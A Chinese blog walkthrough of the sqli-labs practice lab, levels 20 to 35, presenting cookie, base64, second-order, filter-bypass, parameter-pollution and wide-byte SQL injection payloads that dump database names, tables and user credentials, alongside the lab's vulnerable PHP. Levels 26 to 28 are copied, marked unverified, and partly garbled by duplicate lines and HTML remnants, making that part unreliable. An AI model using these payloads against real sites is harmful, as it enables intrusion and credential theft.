    Referer:'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

    注入結束。


    Page-2 (Advanced Injections)

    ?

    ?

    Less-20 POST - Cookie injections - Uagent field? - Error based (基于錯誤的cookie頭部POST注入)

    單引號,報錯型,cookie型注入。

    登錄后頁面:

    查看一下php文件,

    可以看到查詢語句查詢了cookee,那我們就在cookies里面進行注入

    抓包看一下:

    看到cookie:uname=admin 沒毛病就是cookie注入了

    價格單引號發現:

    爆出語法錯誤,看得出來就是單引號型。

    加下來查一下行數

  • Cookie: uname=admin' order by 3--+ //1-3 正常
  • Cookie: uname=admin' order by 4--+ //4 不正常 ,確定行數為3
  • 爆庫payload

    Cookie: uname=-admin' union select 1,2,database()--+

    爆破成功。

    接下來又是重復性的步驟,只需要在第三個查詢位置修改payload就可以完成sql注入,有需要可以查看less-1中的payload構造,很本題十分相似。

    這里不再贅述。

    注入結束。

    ?

    Less-21 Cookie Injection- Error Based- complex - string?( 基于錯誤的復雜的字符型Cookie注入)

    base64編碼,單引號,報錯型,cookie型注入。

    本關和less-20相似,只是cookie的uname值經過base64編碼了。

    登錄后頁面:

    圈出來的地方顯然是base64加密過的,解碼得到:admin,就是剛才登陸的uname,所以猜測:本題在cookie處加密了字符串,

    查看php文件確實如此,所以只需要上傳paylaod的時候base64加密一下就可以了。

    先抓包看一下:

    看到cookie是YWRtaW4%3D ,和頁面顯示不一樣,但是明顯%3D 是=號urldecode的結果,接下來構造paylaod進行測試

  • admin' and 1=1 --+ //明文
  • YWRtaW4nIGFuZCAxPTEgLS0r //密文
  • 看到紅圈處的提示,所以應該構造 ') 這種的?

    這里就不演示爆行數了,上一題已經做過了。

    經過我多次測試,--+在此處不好用,需要使用#來注釋。

    ?

    示例爆庫paylaod:

  • -admin') union select 1,2,database()#
  • LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==
  • 接下來只需要修改第三條查詢語句,和less-20一樣(注意用#注釋,而不用--+),只要base64加密后寫入cookie,就可以完成注入,不再贅述。

    注入完成。

    ?

    ?

    Less-22 Cookie Injection- Error Based- Double Quotes - string (基于錯誤的雙引號字符型Cookie注入)

    base64編碼,雙引號,報錯型,cookie型注入。

    和less-21一樣的,只需要使用雙引號代替單引號再取掉括號,一樣的配方一樣的味道。

    不再贅述。

    樣例payload

  • -admin" union select 1,2,database()#
  • LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj
  • 注入完成。

    ?

    ?

    Less-23 GET - Error based - strip comments (基于錯誤的,過濾注釋的GET型)

    基于錯誤-無評論

    這道題不看php很蒙,我試了半天還是去看php了:

    看到替換了能用的注釋符,所以我們構造閉合語句:

    爆庫payload

    ?id=' union select 1,2,database() '

    爆表payload

    ?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '

    爆列名payload

    ?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '

    爆值payload

    ?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '

    ?

    注入完成。

    ?

    ?

    Less - 24 Second Degree Injections??*Real treat* -Store Injections (二次注入)

    二次注入

    我們的步驟是

    1.注冊一個admin'#的賬號。

    2.登錄admin'#該,修改該帳號的密碼,此時修改的就是admin的密碼,我修改為123456。

    Sql語句變為UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='

    也就是執行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'

    成功的話跳轉頁面會提示Password successfully updated

    3.用剛修改的密碼我的是123456,登陸admin管理員賬號,就可以成功登陸。

    ?

    注入結束。

    ?

    ?

    Less-25 Trick with OR & AND (過濾了or和and)

    OR & AND 欺騙

    測試一下

  • payload
  • ?id=1' #
  • Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in F:\WhiteFlie\PhpStudy20180211\PHPTutorial\WWW\sqli-labs\Less-25\index.php on line 37
  • You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
  • payload
  • ?id=1' --+
  • Your Login name:Dumb
  • Your Password:Dumb
  • 看到id周圍全是單引號,

    但是第二種payload沒有報錯,可以注入。

    方法一,--+繞過,一般注入。

    樣例payload

    ?id=-1' union select 1,2,database()--+

    有必要說一下這題在爆值的時候對password進行了處理,查詢password列,回顯no column passwd,所以雙寫or繞過

    同理information也是。

    樣例paload

    ?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+

    ?

    方法二,雙寫or或and繞過

    測試payload

  • ?id=0' oorr 1=1 --+
  • ?id=2' aandnd 1=1 --+
  • or and形成閉合語句,sql查詢,不再贅述。

    注入結束。

    ?

    Less-25a?Trick with OR & AND Blind (過濾了or和and的盲注)

    那么盲注怎么判斷過濾了and跟or呢,直接在前面添加or或and

    ?

    不同于25關的是sql語句中對于id,沒有''的包含,同時沒有輸出錯誤項,報錯注入不能用。其余基本上和25示例沒有差別。

    ?

    此處采取兩種方式:延時注入和聯合注入。

    http://10.10.10.139/sql/Less-25a/?id=-1%20||%20if(length(database())=8,1,sleep(5))# http://10.10.10.139/sql/Less-25a/?id=-1%20union%20select%201,database(),3#

    ?

    Less-26(failed) Trick with comments and space (過濾了注釋和空格的注入)

    ?評論欺騙

    測試半天,沒什么進展,查一下php文件

  • // take the variables
  • if(isset($_GET['id']))
  • {
  • $id=$_GET['id'];
  • //logging the connection parameters to a file for analysis.
  • $fp=fopen('result.txt','a');
  • fwrite($fp,'ID:'.$id."\n");
  • fclose($fp);
  • //fiddling with comments
  • $id= blacklist($id);
  • //echo "<br>";
  • //echo $id;
  • //echo "<br>";
  • $hint=$id;
  • // connectivity
  • $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • $result=mysql_query($sql);
  • $row = mysql_fetch_array($result);
  • if($row)
  • {
  • echo "<font size='5' color= '#99FF00'>";
  • echo 'Your Login name:'. $row['username'];
  • echo "<br>";
  • echo 'Your Password:' .$row['password'];
  • echo "</font>";
  • }
  • else
  • {
  • echo '<font color= "#FFFF00">';
  • print_r(mysql_error());
  • echo "</font>";
  • }
  • }
  • else { echo "Please input the ID as parameter with numeric value";}
  • function blacklist($id)
  • {
  • $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
  • $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
  • $id= preg_replace('/[\/\*]/',"", $id); //strip out /*
  • $id= preg_replace('/[--]/',"", $id); //Strip out --
  • $id= preg_replace('/[#]/',"", $id); //Strip out #
  • $id= preg_replace('/[\s]/',"", $id); //Strip out spaces
  • $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
  • return $id;
  • }
  • 可以看到function blacklist($id) 來了個過濾全家桶,$id 周圍是單引號,過濾了 or,and , /* , – , # , 空格 , /

    *********************************************************************************************************************************

    到這里就出現問題了,從本題到28a,都注入失敗,估計是下面這種情況,難受的是我linux虛擬機出問題了,現在還沒搞好,這幾天之內會回來搞定的。

    注意:本關可能有的朋友在windows下無法使用一些特殊的字符代替空格,此處是因為apache的解析的問題,這里請更換到Linux平臺下。

    ?

    *************************************************************************************************************************************

    ?

    ?

  • ?id='%a0uNion%a0sElect(1),(database()),(3) or (1)='1 爆數據庫
  • ?id='%a0uNion%a0sElect(1),(group_concat(table_name)),(3)%a0from%a0information_schema.tables%a0where%a0table_schema='security'%26%26%a0%271%27=%271 爆表
  • ?id='%a0uNion%a0sElect(1),group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0%26%26%a0table_name='emails'%26%26%a0%271%27=%271 爆列
  • ?id='%a0uNion%a0sElect(1),group_concat(email_id),3%a0from%a0emails%a0uniOn%a0seLect (1),2,'3 提取數據
  • ?這題做不下去了


    /*26-28轉https://blog.csdn.net/nzjdsds/article/details/77430073#t9*/

    • /*以下26-28未經驗證*/

    less 26 ?Trick with comments and space (過濾了注釋和空格的注入)

  • 確認過濾了#
  • http://10.10.10.139/sql/Less-26/?id=%231
  • 確認過濾了or
  • http://10.10.10.139/sql/Less-26/?id=or1
  • 確認過濾多行注釋符
  • http://10.10.10.139/sql/Less-26/?id=/*1
  • 確認過濾了單行注釋
  • http://localhost/sqli-labs/Less-26/?id=--1
  • 確認過濾了斜杠
  • http://10.10.10.139/sql/Less-26/?id=/1
  • 確認過濾了反斜杠
  • http://10.10.10.139/sql/Less-26/?id=\
  • 確認過濾了空格,報錯注入才行哦,這個判斷
  • http://10.10.10.139/sql/Less-26/?id=1' ' '

  • 源碼部分

  • $id= preg_replace('/or/i',"", $id);
  • $id= preg_replace('/and/i',"", $id);
  • $id= preg_replace('/[\/\*]/',"", $id);
  • $id= preg_replace('/[--]/',"", $id);
  • $id= preg_replace('/[#]/',"", $id);
  • $id= preg_replace('/[\s]/',"", $id);
  • $id= preg_replace('/[\/\\\\]/',"", $id);
  • ?

    下面看看繞過吧,看著都難繞,這次就提取完整的數據吧,

    我們常見的繞過空格的就是多行注釋,/**/但這里過濾了,所以這行不通,

    ?

    將空格,or,and,/*,#,--,/等各種符號過濾,此處對于and,or的處理方法不再贅述,參考25.此處我們需要說明兩方面:對于注釋和結尾字符的我們此處只能利用構造一個 ' 來閉合后面到 ' ;對于空格,有較多的方法:

    ?

    %09 TAB鍵(水平)

    %0a 新建一行

    %0c 新的一頁

    %0d return功能

    %0b TAB鍵(垂直)

    %a0 空格

    ?

    注意:本關可能有的朋友在windows下無法使用一些特殊的字符代替空格,此處是因為apache的解析的問題,這里請更換到Linux平臺下。

    ?

    sql語句為:SELECT * FROM users WHERE id='$id' LIMIT 0,1

    ?

    我們首先給出一個最為簡單的payload:

    http://127.0.0.1/sqllib/Less-26/?id=1'%a0||'1

    ?

    Explain:'%a0||'1

    同時,我們此處的sql語句為SELECT * FROM users WHERE id='1' || '1' LIMIT 0,1

    ?

    第一個 ' 首先閉合id='$id' 中的',%a0是空格的意思,

    ?

    (ps:此處我的環境是ubuntu14.04+apache+mysql+php,可以解析%a0,此前在windows+wamp測試,不能解析%a0,有知情的請告知。)

    ?

    同時%0b也是可以通過測試的,其他的經測試是不行的。||是或者的意思,'1則是為了閉合后面的 ' 。

    ?

    注意在hackbar中輸入&&時,需要自行URL編碼為%26%26,否則會報錯,而輸入||不需要

    ?

    確認字段數

    http://10.10.10.139/sqli/Less-26/?id=0%27union%a0select%a01,2,3,4%a0%26%26%a0%271%27=%271

    http://10.10.10.139/sqli/Less-26/?id=0%27union%a0select%a01,2,3%a0%26%26%a0%271%27=%271

    查數據庫名

    http://10.10.10.139/sql/Less-26/?id=0'union%a0select%a01,database(),3%26%26'1'='1

    ?

    ?

    中間補充一個函數group_concat()

    ?

    能將同行的內容組合一起顯示出來

    ?

    詳解傳輸

    ?

    查表名(information里面有一個or會被過濾掉所以需要雙寫infoorrmation)(這里用&&)

    http://10.10.10.139/sql/Less-26/?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%26%26%a0'1%27='1

    ?

    ?

    查字段名(這里需要注意and也需要雙寫)

    ?

    http://10.10.10.139/sql/Less-26/?id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%0b%26%26%0b'1'='1

    ?

    查數據

    http://10.10.10.139/sql/Less-26/?id=0'%a0union%a0select%a01,group_concat(username),3%a0from%a0users%a0where%a0'1%27='1

    ?

    ?

    也可以一起查

    ?

    http://10.10.10.139/sql/Less-26/?id=0'%a0union%a0select%a01,group_concat(username,passwoorrd),3%a0from%a0users%a0where%a0'1%27='1

    ?

    這里不同的是后面多了where '1'='1,是為了讓語句變成無約束查詢

    ?

    詳解where 1=1

    ?

    還有一種就是用連接符結合上幾天xpath報錯獲取信息來獲取信息:

    http://10.10.10.139/sql/Less-26/?id=-1'||updatexml(1,concat('~',database(),'~'),3)||'

    具體的我就演示了,方法可以有很多的,小伙伴們可以自行嘗試

    ?

    less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(過濾了空格和注釋的盲注)

    ?

    這關與26的區別在于,sql語句添加了一個括號,同時在sql語句執行拋出錯誤后并不在前臺頁面輸出。所有我們排除報錯注入,這里依舊是利用union注入。

    ?

    sql語句為 ? SELECT * FROM users WHERE id=('$id') LIMIT 0,1

    ?

    ?

    查數據庫名

    http://10.10.10.139/sql/Less-26a/?id=100')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1


    ?

    查表名

    http://10.10.10.139/sql/Less-26a/?id=100')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1

    查字段名

    http://10.10.10.139/sql/Less-26a/?id=100')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1



    查數據

    http://10.10.10.139/sql/Less-26a/?id=100')%0bunion%0bselect%0b1,group_concat(passwoorrd),3%0bfrom%0busers%0bwhere%0b('1')=('1

    ?

    ?

    http://10.10.10.139/sql/Less-26a/?id=100')%0bunion%0bselect%0b1,group_concat(passwoorrd,username),3%0bfrom%0busers%0bwhere%0b('1')=('1



    ?

    接下來的我換了Ubuntu的環境去測試,之前是win2003+phpstudy的環境,因為27關在這里面就不會報錯了,我也不知道為什么,換了一個環境就好了

    ?

    less 27 GET - Error Based- All your UNION & SELECT belong to us (過濾了union和select的)

    ?

    老樣子先看看是否過濾了單引號,發現是過濾的

    ?


    ?

    ?

    是否過濾空格,也是過濾的

    ?

    ?

    看是否過濾關鍵字

    ?

    也是過濾的,但是大小寫可以突破的

    ?

    看下源碼

    ?

    m?(PCRE_MULTILINE)默認情況下,PCRE 認為目標字符串是由單行字符組成的(然而實際上它可能會包含多行), "行首"元字符 (^) 僅匹配字符串的開始位置, 而"行末"元字符 ($) 僅匹配字符串末尾, 或者最后的換行符(除非設置了?D?修飾符)。這個行為和 perl 相同。?當這個修飾符設置之后,“行首”和“行末”就會匹配目標字符串中任意換行符之前或之后,另外, 還分別匹配目標字符串的最開始和最末尾位置。這等同于 perl 的 /m 修飾符。如果目標字符串 中沒有 "\n" 字符,或者模式中沒有出現 ^ 或 $,設置這個修飾符不產生任何影響。s?(PCRE_DOTALL)如果設置了這個修飾符,模式中的點號元字符匹配所有字符,包含換行符。如果沒有這個 修飾符,點號不匹配換行符。這個修飾符等同于 perl 中的/s修飾符。 一個取反字符類比如 [^a] 總是匹配換行符,而不依賴于這個修飾符的設置。/m ?當設定了此修正符,“行起始”和“行結束”除了匹配整個字符串開頭和結束外,還分別匹配其中的換行符的之后和之前。這和 Perl 的 /m 修正符是等效的。如果目標字符串中沒有“\n”字符或者模式中沒有 ^ 或 $,則設定此修正符沒有任何效果。 ?實際上就就是匹配多行的意思?

    ?

    /s 使圓點元字符(.)匹配換行符, ?上面這里沒有點就不用管了,那么上面直接大小寫繞過就可以了

    ?

    爆數據庫

    http://10.10.10.141/sql/Less-27/?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1?


    ?

    這里的or '1 ' = '1是為了閉合和后的' 變成or '1'='1' limit 1,1 ? 讓語句完整

    ?

    查表名 ? ?(這里需要把or換成&&(%26%26))

    http://10.10.10.141/sql/Less-27/?id=0'%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0'1'='1

    查字段名

    http://10.10.10.141/sql/Less-27/?id=0'%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%a0%26%26%a0'1'='1?

    查數據

    http://10.10.10.141/sql/Less-27/?id=0'%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect%a01,2,'3


    ?

    在查數據的時候我參考的那個語句是

    http://10.10.10.141/sql/Less-27/?id=0'%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect (1),(2),'(3

    后來我把最后后面聯合查詢的 ? ? ? ?括號 ? ? 都去掉,發現都沒問題就是把 ? ?1 ? 的括號去掉的時候報錯了,然后我在前面加個%a0又正常了,我的猜想大概是原作者是為了防止空格被過濾 ? 然后后面的參數會跟前面的參數黏在一起發生了錯誤,加上了括號即使被過濾也可以讓系統來區分不至于報錯。

    這是原作者的語句

  • <span style="color:#000000;">http</span><span style="color:#666600;">:</span><span style="color:#880000;">//localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),(database()),(3) or (1)='1 爆數據庫</span><span style="color:#000000;">
  • http</span><span style="color:#666600;">:</span><span style="color:#880000;">//localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),(group_concat(table_name)),(3)%a0from%a0information_schema.tables%a0where%a0table_schema='security'%26%26%a0%271%27=%271 爆表</span><span style="color:#000000;">
  • http</span><span style="color:#666600;">:</span><span style="color:#880000;">//localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0%26%26%a0table_name='emails'%26%26%a0%271%27=%271 爆列</span><span style="color:#000000;">
  • http</span><span style="color:#666600;">:</span><span style="color:#880000;">//localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),group_concat(email_id),3%a0from%a0emails%a0uniOn%a0seLect (1),2,'3 提取數據</span>
  • ://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),(database()),(3) or (1)='1 爆數據庫
  • http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),(group_concat(table_name)),(3)%a0from%a0information_schema.tables%a0where%a0table_schema='security'%26%26%a0%271%27=%271 爆表
  • http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0%26%26%a0table_name='emails'%26%26%a0%271%27=%271 爆列
  • http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),group_concat(email_id),3%a0from%a0emails%a0uniOn%a0seLect (1),2,'3 提取數據
  • ://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),(database()),(3) or (1)='1 爆數據庫 http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),(group_concat(table_name)),(3)%a0from%a0information_schema.tables%a0where%a0table_schema='security'%26%26%a0%271%27=%271 爆表 http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0%26%26%a0table_name='emails'%26%26%a0%271%27=%271 爆列 http://localhost/sqli-labs/Less-27/?id='%a0uNion%a0sElect(1),group_concat(email_id),3%a0from%a0emails%a0uniOn%a0seLect (1),2,'3 提取數據

    都加了空格這樣用union select就可以避免空格了,就算空格被過濾也沒關系

    ?

    ?

    less 27a GET - Blind Based- All your UNION & SELECT belong to us

    ?

    這個是less 27的盲注版本,雙引號型的

    http://10.10.10.141/sql/Less-27a/?id=1"or "1"="1

    下面給出盲注的payload

    http://10.10.10.141/sql/Less-27a/?id=1"and(length(database())>7)%a0uNion%a0sELect%a01,2,"3

    http://10.10.10.141/sql/Less-27a/?id=1"and(length(database())>8)%a0uNion%a0sELect%a01,2,"3

    ?

    ?

    ?

    查數據庫

    http://10.10.10.141/sql/Less-27a/?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,database(),"3

    ?

    查表名:

    ?

    查表面需要閉合后面雙引號我就用"1"="1來閉合,前面還需要&&(%26%26)并一起,要不然會顯示不出來,這個我經常忘記,沒有就會出現這種情況

    ?

    http://10.10.10.141/sql/Less-27a/?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0"1"%a0="1


    ?

    查字段名

    http://10.10.10.141/sql/Less-27a/?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%26%26%a0"1"%a0="1

    ?

    查數據(注意這里需要把&&給去掉,我也是經常忘記)

    http://10.10.10.141/sql/Less-27a/?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,"3"="3


    ?

    ?

    這里的話提數據除了后面再接查詢語句外,還可以用where 1=1還提數據,當然前面也同樣適用,只是我現在才想到

    http://10.10.10.141/sql/Less-27a/?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0where%a0"1"="1


    ?

    less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于錯誤的,有括號的單引號字符型,過濾了union和select等的注入

    ?

    這里我需要說明下,我做題的時候不小心做錯了,一直以為是28題,后來才發現是28a的題目,然后我把測試語句放到28題里面測試了都一樣的,就是URL28后面多個a少個a的區別,這里我就不補充啦,太累了,做28你們可以參照下面的來做一樣的

    ?

    28a說是盲注,但是不知道為啥竟然可以報錯,這里我就把盲注的代碼也拿過來備用

    ?

    加紅的部分是我容易犯錯的地方,對于盲注大家還是用腳本跑的比較好

  • <span style="color:#333333;">長度是8
  • http://localhost/sqli-labs/Less-28a/?id=1')and(length(database())>7)and('1')=('1
  • http://localhost/sqli-labs/Less-28a/?id=1')and(length(database())>8)and('1')=('1
  • 第一個字符是115,即s
  • http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((</span>sElect%a0database()<span style="color:#333333;">),1,1))>114)and('1')=('1
  • http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((</span>sElect%a0database()<span style="color:#333333;">),1,1))>115)and('1')=('1</span>
  • sElect%a0database()),1,1))>114)and('1')=('1
  • http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((sElect%a0database()),1,1))>115)and('1')=('1
  • sElect%a0database()),1,1))>114)and('1')=('1
  • http://localhost/sqli-labs/Less-28a/?id=1')and(ascii(substr((sElect%a0database()),1,1))>115)and('1')=('1
  • ?

    ?

    ?

    ?

    less 28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于盲注的,有括號的單引號字符型,過濾了union和select等的注入

    ?

    ?

    開始之前我們需要打開源碼把里面的注釋給去除,增加挑戰難度

    ?

    ?

    ?

    ?

    ?

    那個i表示正在匹配的模式,i是忽略大小寫,\s就是匹配任意空白字符,制表符啊,換行啊空格啊等

    ?

    那我們中間不加空格能繞過吧還是用%a0吧

    ?

    ?

    老規矩,我先輸入單引號,然后雙引號,看報錯,猜測下語句里面用的是什么這里我用單引號報錯了,然而雙引號沒有報錯

    ?

    單引號

    ?

    雙引號

    ?

    ?

    然后輸入(,看會不會報錯

    http://10.10.10.141/sql/Less-28a/?id=1)''

    ?

    后面單引號是閉合原來語句的單引號,加上)沒錯,說明原來的語句有括號

    ?

    語句可能就是 select *from users where id=('xxx')

    ?

    查數據庫

    http://10.10.10.141/sql/Less-28a/?id=0')UNion%a0SElect%a01,database(),('3')=('3

    或者這樣可以的,主要關注的是需要閉合原語句后面的')

    http://10.10.10.141/sql/Less-28a/?id=0')UNion%a0SElect%a01,database(),3%a0or%a0('1')=('1

    ?

    ?

    查表名:(這里別忘記把or換成&&)

    http://10.10.10.141/sql/Less-28a/?id=0')UNion%a0SElect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0('1')=('1

    ?

    ?

    查字段名

    http://10.10.10.141/sql/Less-28a/?id=0')UNion%a0SElect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0ANd%a0table_name='users'%a0%26%26%a0('1')=('1


    ?

    查數據(把&&換成where)

    ?

    http://10.10.10.141/sql/Less-28a/?id=0')UNion%a0SElect%a01,(group_concat(username)),3%a0from%a0users%a0where%a0('1')=('1

    ?

    還有這個

    http://10.10.10.141/sql/Less-28a/?id=0')UNion%a0SElect%a01,(group_concat(username)),3%a0from%a0users%a0UNion%a0SELect%a01,2,('3')=('3


    • /*以上26-28未經驗證*/

    • /*接下來是我自己做的了*/

    Less-29 基于WAF的一個錯誤

    用WAF防護

    測試:輸入雙引號正常,輸入一個引號發生錯誤,兩個引號正常

    那么語句可能是 select * from users where id='xx' limit 1,1

    嘗試注入payload:

    ?id=-1' union select 1,2,database()--+

    庫爆出來了,后面步驟一樣,該干嘛干嘛就完事了。

  • ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
  • ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
  • ?id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+
  • 啥玩意啊,什么world's best firewall 直接查完了,過于簡單不再贅述。

    ?

    我閑的dan疼去查了一下waf繞過方法,大佬們是這么說的;

    waf是只允許輸入數字的,我們在輸入數字的時候先給waf看然后檢測正常后才轉發給我們需要訪問的頁面,那篇文章是有寫到的,這里我弄2個值,一個是用來欺騙waf的。另一個才是給我們需要訪問頁面的

    看一下這篇博客,http://blog.csdn.net/nzjdsds/article/details/77758824

    再結合源碼了解一下:

  • <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  • <html xmlns="http://www.w3.org/1999/xhtml">
  • <head>
  • <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  • <title>Less-29 Protection with WAF</title>
  • </head>
  • <body bgcolor="#000000">
  • <div style=" margin-top:70px;color:#FFF; font-size:40px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
  • <font size="3" color="#FFFF00">
  • <?php
  • //including the Mysql connect parameters.
  • include("../sql-connections/sql-connect.php");
  • //disable error reporting
  • error_reporting(0);
  • // take the variables
  • if(isset($_GET['id']))
  • {
  • $id=$_GET['id'];
  • //logging the connection parameters to a file for analysis.
  • $fp=fopen('result.txt','a');
  • fwrite($fp,'ID:'.$id."\n");
  • fclose($fp);
  • $qs = $_SERVER['QUERY_STRING'];
  • $hint=$qs;
  • // connectivity
  • $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • $result=mysql_query($sql);
  • $row = mysql_fetch_array($result);
  • if($row)
  • {
  • echo "<font size='5' color= '#99FF00'>";
  • echo 'Your Login name:'. $row['username'];
  • echo "<br>";
  • echo 'Your Password:' .$row['password'];
  • echo "</font>";
  • }
  • else
  • {
  • echo '<font color= "#FFFF00">';
  • print_r(mysql_error());
  • echo "</font>";
  • }
  • }
  • else { echo "Please input the ID as parameter with numeric value";}
  • ?>
  • </font> </div></br></br></br><center>
  • <img src="../images/Less-29.jpg" />
  • </br>
  • </br>
  • </br>
  • <img src="../images/Less-29-1.jpg" />
  • </br>
  • </br>
  • <font size='4' color= "#33FFFF">
  • <?php
  • echo "Hint: The Query String you input is: ".$hint;
  • ?>
  • </font>
  • </center>
  • </body>
  • </html>
  • 那這么說的話:

    ?id=1&id=-1' union select 1,2,database() --+

    這樣查也沒什么毛病,一樣的配方一樣的味道,不再贅述。

    ?

    注入結束。

    ?

    ?

    Less-30 Get-Blind Havaing with WAF

    用WAF防護

    ?id=-1" union select 1,2,database()--+

    修改第三條語句就可以完成注入。

    這就完事了?這兩題沒在逗我?

    按照less-29 的套路可以這樣構造

    ?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

    ?

    注入結束。

    ?

    ?

    Less-31 Protection with WAF

    用WAF防護

    樣例payload

    ?id=-1")union select 1,2,database() --+

    考慮參數污染的話可以使用

    樣例payload

    ?id=1&id=-1")union select 1,2,database() --+

    不再贅述。

    注入結束。

    ?

    ?

    Less-32 Bypass addslashes()

    繞過 addslashes()

    寬字節繞過引號轉義

    addslashes()會在單引號前加一個\ 例如:I'm hacker 傳入addslashes(),得到:I\'m hacker

    本題想以此阻止sql注入語句閉合,但是可以使用寬字節繞過:

    原理大概來說就是,一個雙字節組成的字符,比如一個漢字‘我’的utf8編碼為%E6%88%91 當我們使用?id=-1%E6' 這樣的構造時,' 前面加的 \ 就會和%E6 合在一起,但是又不是一個正常漢字,但是起到了注掉 \ 的作用,庫。

    樣例payload

    ?id=-1%E6' union select 1,version(),database() --+

    我在爆列名的時候卡了一下,分析半天語句最后想起來了, 'users' 這里有單引號。

    使用十六進制編碼就可以繞過了''使用0x 代替,users 使用十六進制編碼得到7573657273,構造為0x7573657273

    ?id=-1%E6' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name =0x7573657273--+

    接下來的步驟比較簡單,不再贅述。

    注入完成。

    ?

    ?

    Less-33 Bypass addslashes()

    繞過 addslashes()

    和上一題一樣的,payload都不用改,去看了一圈別人的題解,都差不多,一樣的paylaod,沒有過多解釋。

    我懶得看代碼了,也不知道這兩題有什么不一樣,反正都能過。

    注入結束。

    ?

    ?

    Less-34 Bypass Add SLASHES

    繞過添加斜杠

    post方式,抓包提交。

    樣例payload

    uname=admin%99' union select version(),database()--+&passwd=admin&submit=Submit

    爆列名的時候要注意'users'的轉義。

    注入結束。

    ?

    ?

    Less-35 why care for addslashes()

    為什么要關心addslashes()

    測試payload:

    ?id=1'

    id周圍沒有單引號或雙引號,現在就明白題目的標題了,不需要要過,直接注入,無比簡單,不再贅述。

    樣例payload

    ?id=-1 union select 1,version(),database()--+

    ?

    注入結束。

    ?

    ?

    結語:

